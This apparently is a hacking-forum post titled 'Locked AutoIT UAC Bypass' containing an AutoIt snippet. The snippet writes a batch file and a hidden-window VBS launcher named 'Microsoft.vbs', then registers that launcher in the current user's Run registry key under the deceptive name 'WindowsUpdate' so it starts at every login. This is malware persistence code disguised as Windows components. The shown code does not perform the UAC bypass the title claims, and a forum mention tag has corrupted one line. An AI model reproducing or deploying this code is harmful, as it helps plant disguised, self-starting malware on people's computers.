Locked AutoIT UAC Bypass

[SP]

if not FileExists(userProfileDir & "\data\Microsoft.vbs") then
Local $bat = FileOpen(userProfileDir & "\data\" & "start.cmd", 1)
FileWrite($bat, "@echo off" & @CRLF & "cd " & userProfileDir & "\data\" & @CRLF & "start " & userProfileDir & "\data\" & 'AutoIt3.exe "done.txt"')
FileClose($bat)

Local $vbs = FileOpen(userProfileDir & "\data\Microsoft.vbs", 1)
FileWrite($vbs, 'const Hidden = 0' & @CRLF & 'const WaitOnReturn = true' & @CRLF & 'File ="""' & userProfileDir & "\data\" & 'start.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & 'WshShell.Run file, Hidden, WaitOnReturn' & @CRLF & 'wscript.quit')
FileClose($vbs)

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "WindowsUpdate", "REG_SZ", [MENTION=17545]user[/MENTION]ProfileDir & "\data\Microsoft.vbs")

Else

EndIf

This is the hidden content, please

• Sign In
• or
• Sign Up